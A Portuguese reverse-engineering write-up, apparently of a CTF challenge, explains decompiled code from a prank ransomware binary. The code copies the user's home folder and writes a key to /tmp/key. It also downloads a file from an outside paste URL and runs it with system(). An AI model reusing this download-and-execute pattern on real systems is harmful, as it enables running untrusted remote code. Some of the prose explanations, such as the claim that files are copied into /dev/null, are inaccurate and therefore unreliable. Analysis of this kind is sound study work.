

Write-up

```
undefined8 main(void)
{
    uint uVar1;

    puts("Olá!");
    system("mkdir -p $USER && cp ~/* $USER 2> /dev/null");
    puts("Codificando os arquivos da sua home...");
    puts("Procure por uma forma de descodificá-los");
    puts("OBS: Não desligue sua máquina, se não não será mais possível recuperar os dados!!!");
    sleep(1);
    encripta_arquivos();
    printa_ascii_art();
    uVar1 = _system_integrity_check();
    _system_loader_callback("http://ix.io/2c6V", (ulong)uVar1);
    puts(
        "brincadeira, fiz uma cópia da sua home no diretório atual e encriptei seus arquivos lá, rs"
    );
    return 0;
}
```

O programa começa definindo um inteiro unsigned (apenas inteiros positivos) chamado `uVar1`;

Logo após isso, printa "Olá!" na tela e pula de linha.

Logo, com o comando `system("mkdir -p $USER && cp ~/* $USER 2> /dev/null");`, o programa cria uma pasta no computador do usuário onde copia tudo do `$USER` para a pasta `$USER` criada dentro de `dev/null`.

Então, o programa printa na tela: "Codificando os arquivos da sua home...".

Pulando linha e escrevendo novamente: "Procure por uma forma de descodificá-los"

Mais uma pulada de linha para dizer: "OBS: Não desligue sua máquina, se não não será mais possível recuperar os dados!!!"

Rodando então o `sleep(1)`, que dá uma pausa de 1 segundo no programa.

Logo, roda o `encripta_arquivos()`.

```
1 void encripta_arquivos(void)
2 {
3     time_t tVar1;
4     tVar1 = time((time_t *)0x0);
5     srand((uint)tVar1);
6     rand();
7     return;
8 }
```

No início da função, é criada a variável `tVar1` como `time_t`.

Na linha seguinte, a variável recebe o tempo do hexadecimal `0x0` convertido no tipo `time_t`, equivalendo a `NULL`.

Executa um `srand` com a variável agora em `unsigned int` e logo em seguida roda um `rand` sem tamanho máximo definido.

Não retorna nada pois é `void`.

Como podemos notar, a função `encripta_arquivos()` não se mostra útil para nosso programa. Em seguida, o código executa a função `printa_ascii_art()`:

```

1 void printa_ascii_art(void)
2 {
3     printf("%s", banner);
4     return;
5 }

```

Essa função fará com que seja printada na tela o “programa” em ASCII.

Em seguida, a linha executada é recebendo em uVar1 a função _system_integrity_check().

```

1 unsigned long _system_integrity_check(void)
2 {
3     uint uVar1;
4     int iVar2;
5     FILE *__stream;
6
7     iVar2 = rand();
8     uVar1 = iVar2 % 5 + 1;
9     __stream = fopen("/tmp/key", "w+");
10    fprintf(__stream, "%d\n", (ulong)uVar1);
11    fclose(__stream);
12    return (ulong)uVar1;
13 }

```

No início do programa, são declaradas duas variáveis: unsigned int uVar1 e um int iVar2. Logo após isso, o programa Após isso, iVar2 recebe um rand(), criando um número aleatório. Então, na linha seguinte, uVar1 recebe o iVar2 todavia indo apenas até 5, e, após o rand rodar, adiciona um ao resultado. Na próxima linha diz que o __stream abrirá o tmp/key e pode escrever no mesmo. Na linha seguinte, “printa” no arquivo o uVar1 como um unsigned long.

E, então, fecha o arquivo e retorna como resposta quando chamado o uVar1 como ulong.

A próxima linha executa a função _system_loader_callback(), passando como parâmetros: “<http://ix.io/2c6V>”,(ulong)uVar1.

```

1 void _system_loader_callback(undefined8 param_1, uint param_2)
2 {
3     long in_FS_OFFSET;
4     char local_98 [136];
5     long local_10;
6
7     local_10 = *(long *) (in_FS_OFFSET + 0x28);
8     download_file_from_url(param_1, ".encryptador", ".encryptador");
9     sprintf(local_98, "%s %d\n", "chmod u+x .encryptador && ./encryptador", (ulong)param_2);
10    system(local_98);
11    sleep(2);
12    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
13        /* WARNING: Subroutine does not return */
14        __stack_chk_fail();
15    }
16    return;
17 }

```

O local_10 e o in_FS_OFFSET foram criados para impedir o bufferoverflow.

Na linha 10 roda o programa `download_file_from_url()`, recebendo de parâmetro:
`param_1, ".encriptador", ".encriptador"`

```
1 |
2 void download_file_from_url(undefined8 param_1, char *param_2)
3 {
4     long lVar1;
5     FILE *__stream;
6
7     lVar1 = curl_easy_init();
8     if (lVar1 != 0) {
9         __stream = fopen(param_2, "wb");
10        curl_easy_setopt(lVar1, 0x2712, param_1, 0x2712);
11        curl_easy_setopt(lVar1, 0x4e2b, write_data, 0x4e2b);
12        curl_easy_setopt(lVar1, 0x2711, __stream, 0x2711);
13        curl_easy_perform(lVar1);
14        curl_easy_cleanup(lVar1);
15        fclose(__stream);
16    }
17    return;
18 }
19 }
```

Nas primeiras linhas, cria o arquivo `lVar1` e

`lVar1` recebe o comando de startar uma seção `curl easy`.

Se tiver sucesso com isso, o `if` será ativado e os comandos a partir da linha 10 começaram a funcionar: Primeiramente, o `__stream` agora abrirá o `param_2` em modo `write` de binário.

Em seguida roda o comando `curl_easy_setopt` (que é usado para explicar como a biblioteca deve se comportar) algumas vezes.

`curl_easy_setopt` (onde deu `init`, parâmetro, localização, parâmetro);

(`write_data` recebe `parametro1`, 2, 3 4 4 de sua função

e retorna `var1`).

`curl_easy_perform(lVar1)` irá trabalhar com todos os pedidos (`inits` e `setopts`) e bloqueando o gerenciamento e retornos quando terminada ou se falhar.

`curl_easy_cleanup(lVar1)`, como ultima função que deve-se chamar na seção, ela fecha todas as conexões que possam ainda estar abertas.

Após a transferencia de arquivos, o `__stream` é fechado e salvo.

O `param_1` recebido foi encriptado, fazendo assim uma regra de `curl` e encriptografando o conteudo no `__stream`.

Escreve na tela: brincadeira, fiz uma cópia da sua home no diretório atual e encriptei seus arquivos lá, rs